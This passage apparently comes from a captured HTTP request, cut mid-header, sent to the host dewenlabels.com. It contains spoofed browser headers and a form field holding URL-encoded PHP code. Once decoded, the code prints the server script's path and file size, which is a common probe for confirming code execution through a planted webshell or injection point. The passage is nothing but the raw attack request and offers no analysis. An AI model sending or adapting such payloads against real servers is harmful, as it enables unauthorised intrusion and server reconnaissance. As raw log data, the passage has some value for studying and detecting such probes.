Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-ch-ua-mobile:?0\n\nZb=%3C%3Fphp%20%20%20%24path%20%3D%20%24_SERVER%5B%27SCRIPT_FILENAME%27%5D%3B%20die%28%22%3Cfs%3E%22.filesize%28%24path%29.%22%3C\/fs%3E%3Cp%3E%7B%24path%7D%3C\/p%3E%22%29%3B"]